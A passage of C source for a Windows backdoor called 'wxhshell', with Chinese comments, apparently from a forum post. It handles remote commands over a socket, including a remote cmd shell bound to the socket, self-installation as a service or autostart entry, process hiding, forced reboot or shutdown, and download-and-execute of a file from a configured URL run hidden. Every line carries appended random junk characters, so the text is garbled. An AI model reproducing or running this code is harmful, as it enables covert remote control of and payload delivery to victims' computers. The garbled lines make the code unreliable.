      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l H:Y8j  
    break; gi!{y   
  } 2mUq$kws  
  // 安装 ?U'c;*O-  
  case 'i': { pN# \  
    if(Install()) zf-)c1$*r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l>K z5re^  
    else fw aq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !f5I.r~  
    break; ozN#LIM>P  
    } R2{y1b$l  
  // 卸载 *Pj[r  
  case 'r': { F<SMU4]YdG  
    if(Uninstall()) d|5V"U]W;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j8WMGSrrF  
    else ! bbVa/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `s HrC  
    break; ZuZe8&  
    } yZ?|u57  
  // 显示 wxhshell 所在路径 I4'mU$)U  
  case 'p': { N8a+X|3]0  
    char svExeFile[MAX_PATH]; p6~\U5rXm  
    strcpy(svExeFile,"\n\r"); <=WSX{_D  
      strcat(svExeFile,ExeFile); 1F?`.~q  
        send(wsh,svExeFile,strlen(svExeFile),0); L=Cm0q 3 v  
    break; A0{ !m  
    } Cv7FVl-I  
  // 重启 0}:- t^P  
  case 'b': { ;Zfglid  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4+&4  
    if(Boot(REBOOT)) bxX[$q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &w\E*$  
    else { I2G4j/c=z  
    closesocket(wsh); ^8dd  
    ExitThread(0); !Ld0c4  
    } (p4|,\+  
    break; 9_yO 6)`  
    } -= {Z::}S"  
  // 关机 tMM *m  
  case 'd': { L"|4 v  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xEv]V L:  
    if(Boot(SHUTDOWN)) ?kBi9^)N4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AQX~do\A  
    else { Vs@[="  
    closesocket(wsh); AITV+=sN  
    ExitThread(0); #$q~ZKB  
    } 1=LI))nV  
    break; TAfLC)  
    } 5 :O7cBr  
  // 获取shell m$nT#@l5bH  
  case 's': { C1=7.dPr  
    CmdShell(wsh); s;oDwT1  
    closesocket(wsh); !OwRx5  
    ExitThread(0); :4 9ttJl  
    break; R.n:W;^`  
  } EC[2rROn\  
  // 退出 2c?-_OCy;  
  case 'x': { jSMvZJX3n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y&8' V\  
    CloseIt(wsh); Rou$`<{H  
    break; EOqvu=$6  
    } T\;7'  
  // 离开 .iK{=L/(y  
  case 'q': { jP*5(*[&y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); DRS68^  
    closesocket(wsh); {&tbp Bl#  
    WSACleanup(); + 3+^J?N  
    exit(1); Nb.AsIR^  
    break; "4W@p'  
        } Jpi\n- d!  
  } "[ f"h  
  } fq^D<c{3  
6Y!hz7D  
  // 提示信息 1J8okBhZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MUo}Qi0K  
} Z";~]]$!Y  
  } K9JW&5Q  
w!$|IC  
  return; K$>C*?R  
} H.\gLIr  
C>%2'S^.b  
// shell模块句柄 Rw4"co6  
int CmdShell(SOCKET sock) kpc3l[.A  
{ H JFt{tq2  
STARTUPINFO si; 8Ar5^.k  
ZeroMemory(&si,sizeof(si)); 6{2LV&T=u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bs-O3w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0bY}<x(;  
PROCESS_INFORMATION ProcessInfo; sTu6KMn  
char cmdline[]="cmd"; tvNh@it:F  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0Q@ &z  
  return 0; om$x;L6  
} !>$tRW?gH~  
CD$0Z  
// 自身启动模式 XXuIWIhm  
int StartFromService(void) sT| $@$bN  
{ {XC1B  
typedef struct 3GEI)!  
{ {d`e9^Z:  
  DWORD ExitStatus; t*<@>]k  
  DWORD PebBaseAddress; DDdMWH^o7  
  DWORD AffinityMask; J%|!KQl  
  DWORD BasePriority; 25xpq^Zw  
  ULONG UniqueProcessId; eKd F-;  
  ULONG InheritedFromUniqueProcessId; D ff0$06Nq  
}   PROCESS_BASIC_INFORMATION; , sEu[m  
]y*AA58;  
PROCNTQSIP NtQueryInformationProcess; MB$K ?"Y  
$JKR,   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .~#<>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rLMjN#`^  
<DG=qP6O  
  HANDLE             hProcess; VgfA&?4[  
  PROCESS_BASIC_INFORMATION pbi; 5GD6%{\O  
.+1.??8:+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qTM,'7Rwn  
  if(NULL == hInst ) return 0; ZA4NVt.yN  
~T;FOB%w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sSVgDQ~q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ka_]s:>+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gXtyl]K:  
Q+e|;Mj  
  if (!NtQueryInformationProcess) return 0; plL##?<D<  
RS&l68[6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g'G"`)~ 2  
  if(!hProcess) return 0; ?-^eI!  
9|yn{4E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sjBP#_lW  
l7G&[\~  
  CloseHandle(hProcess); &A=>x  
i7h!,vaK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L"Y_:l3"7  
if(hProcess==NULL) return 0; 56i9V9{2  
?)=A[  
HMODULE hMod; g~FA:R  
char procName[255]; ya7/&Z )0  
unsigned long cbNeeded; CRy;>UI  
r+8%oWj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r5ONAa3.  
WLr\ l29  
  CloseHandle(hProcess); 5a moK7  
yp%7zrU  
if(strstr(procName,"services")) return 1; // 以服务启动 #h'F6  
#7S[Ch}O  
  return 0; // 注册表启动 ZJev_mj  
} P;R`22\3  
ur\v[k=  
// 主模块 Sp+ zP-3  
int StartWxhshell(LPSTR lpCmdLine) ;q:.&dak1  
{ 2BA'Zu`  
  SOCKET wsl; {Lj]++`fB]  
BOOL val=TRUE; k@1\ULo  
  int port=0; NFT&\6!o  
  struct sockaddr_in door; _F|oL|  
B4k ~~;|  
  if(wscfg.ws_autoins) Install(); `TvpKS5.Y  
I$@0FSl  
port=atoi(lpCmdLine); SH# -3&$[  
8r@_b  
if(port<=0) port=wscfg.ws_port; <uUHr,#  
wfH#E2+pk  
  WSADATA data; 9pN},F91n:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `]L&2RS  
@y,pf Wh`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E0XfM B]+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b(8#*S!U  
  door.sin_family = AF_INET; Yj+p^@{S2P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); eR,ePyA;  
  door.sin_port = htons(port); 5[Sa7Mk  
}?zy*yL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0Da9,&D  
closesocket(wsl); }^).Y7{g[  
return 1; -LAYj:4  
} W0GDn  
z:B4  
  if(listen(wsl,2) == INVALID_SOCKET) { Vf S&V*un  
closesocket(wsl); }E626d}uA  
return 1; ;c1ar)G7  
} <=;#I_E#E  
  Wxhshell(wsl); 4L(/Z}(  
  WSACleanup();  QKW;r  
3z$9jN/<u  
return 0; "M.\Z9BCt  
'l,ym~R  
} B5'-v%YO+  
L F\4>(C2g  
// 以NT服务方式启动 F91'5D,u0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tOx)t$ix  
{ V=%j ]`Os  
DWORD   status = 0; n&V\s0  
  DWORD   specificError = 0xfffffff; &)4#0L4  
E! '|FJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; X 4\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1"pvrX}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3 o=R_%r  
  serviceStatus.dwWin32ExitCode     = 0; .W[ 9G\  
  serviceStatus.dwServiceSpecificExitCode = 0; hV,)u3  
  serviceStatus.dwCheckPoint       = 0; 9$)I=Rpk =  
  serviceStatus.dwWaitHint       = 0; :\I88 -N@'  
@edx]H1~^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k/MrNiC  
  if (hServiceStatusHandle==0) return; =+{SZh@  
xY] Y  
status = GetLastError(); J&mZsa)4  
  if (status!=NO_ERROR) [ +w=  
{  u>R2:i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I_|@Fn[>  
    serviceStatus.dwCheckPoint       = 0; wxy. &a]  
    serviceStatus.dwWaitHint       = 0; pY75S5h:  
    serviceStatus.dwWin32ExitCode     = status; Gt >*y.]  
    serviceStatus.dwServiceSpecificExitCode = specificError; n#F:(MSOp  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >K<n~;ON|  
    return; g\;&Z  
  } kzq3-NTV  
mUFg(;ya  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; J9+< 9g4-t  
  serviceStatus.dwCheckPoint       = 0; 7f!"vhCXM;  
  serviceStatus.dwWaitHint       = 0; i8CO+Iv*{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4hRc,Vq  
} *}mk$bA  
\]bAXa{ p  
// 处理NT服务事件,比如:启动、停止 /_yJ;l/K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :Fe}.* t  
{ ]iP  +Y  
switch(fdwControl) v#yeiE4  
{ "Dr8}g:X  
case SERVICE_CONTROL_STOP: S6~&g|T,  
  serviceStatus.dwWin32ExitCode = 0; OsQB` D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; X@:[.eI~  
  serviceStatus.dwCheckPoint   = 0; E?,O>bCJ5  
  serviceStatus.dwWaitHint     = 0; 2y"]rUS`  
  { ;8!L*uMI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (yh zjN~  
  } j5eX?bi_v  
  return; /r Q4JoR>  
case SERVICE_CONTROL_PAUSE: 1|U8DK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;;r}=0V*=  
  break; :PJ 5~7C  
case SERVICE_CONTROL_CONTINUE: <d&9`e1Hc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E'_3U5U  
  break; ?<mxv"  
case SERVICE_CONTROL_INTERROGATE: ZboY]1L[j  
  break; )SJ18 no|l  
}; >M`ryM2=D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W7R`})F  
} IYZ$a/{P  
3m2hB%SNb  
// 标准应用程序主函数 >P-{2 a,4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ExJch\  
{ 'fIBJ3s[o  
|2ttdc.  
// 获取操作系统版本 25bLU?x5B  
OsIsNt=GetOsVer(); ZA1u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); D\"F?>  
#`kLU:  
  // 从命令行安装 {:peArO  
  if(strpbrk(lpCmdLine,"iI")) Install(); (g>8!Gl  
x(r>iy  
  // 下载执行文件 TOH!vQP  
if(wscfg.ws_downexe) { luPj'd?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D' d^rT| H  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1/hk3m(C  
} tN-U,6c]  
VB(S]N)F^  
if(!OsIsNt) { BH@b]bEJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 Hu4\4x$?  
HideProc(); M.*3qWM  
StartWxhshell(lpCmdLine); 5!tiu4LU  
} 2.6F5&:($  
else "$@Wy,yp  
  if(StartFromService()) 5(+9( \x  
  // 以服务方式启动 @d/Wa=K  
  StartServiceCtrlDispatcher(DispatchTable); !Z0p94L  
else iS/faXe5  
  // 普通方式启动 KUR9vo  
  StartWxhshell(lpCmdLine); c)5d-3"  
R WfC2$z  
return 0; \DDR l{  
}
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只看该作者 1 发表于: 2006-10-10
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